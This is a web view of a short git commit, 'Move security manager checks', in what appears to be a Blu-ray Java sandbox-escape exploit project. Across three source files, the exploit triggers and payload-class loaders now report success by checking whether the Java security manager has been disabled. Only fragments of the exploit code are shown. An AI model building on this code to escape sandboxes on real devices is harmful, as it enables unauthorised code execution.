Browse Source

Move security manager checks.

master
Andy Nguyen 1 year ago
parent
commit
1d8fab5dd3
  1. 3
      src/com/bdjb/Exploit.java
  2. 2
      src/com/bdjb/exploit/sandbox/ExploitServiceProxyImpl.java
  3. 2
      src/com/bdjb/exploit/sandbox/ExploitUserPrefsImpl.java

3
src/com/bdjb/Exploit.java

@ -29,8 +29,7 @@ class Exploit implements Runnable { @@ -29,8 +29,7 @@ class Exploit implements Runnable {
for (int i = 0; i < exploits.length; i++) {
try {
exploits[i].trigger();
if (System.getSecurityManager() == null) {
if (exploits[i].trigger()) {
break;
}
} catch (Exception e) {

2
src/com/bdjb/exploit/sandbox/ExploitServiceProxyImpl.java

@ -57,6 +57,6 @@ public class ExploitServiceProxyImpl implements ExploitSandboxInterface { @@ -57,6 +57,6 @@ public class ExploitServiceProxyImpl implements ExploitSandboxInterface {
Class payloadClass = urlClassLoader.loadClass(PAYLOAD_CLASS_NAME);
payloadClass.newInstance();
return true;
return System.getSecurityManager() == null;
}
}

2
src/com/bdjb/exploit/sandbox/ExploitUserPrefsImpl.java

@ -44,7 +44,7 @@ public class ExploitUserPrefsImpl implements ExploitSandboxInterface { @@ -44,7 +44,7 @@ public class ExploitUserPrefsImpl implements ExploitSandboxInterface {
// Instantiate the payload class.
PayloadClassLoader.getInstance().newPayload();
return true;
return System.getSecurityManager() == null;
}
} finally {
// Restore userprefs file.

Loading…
Cancel
Save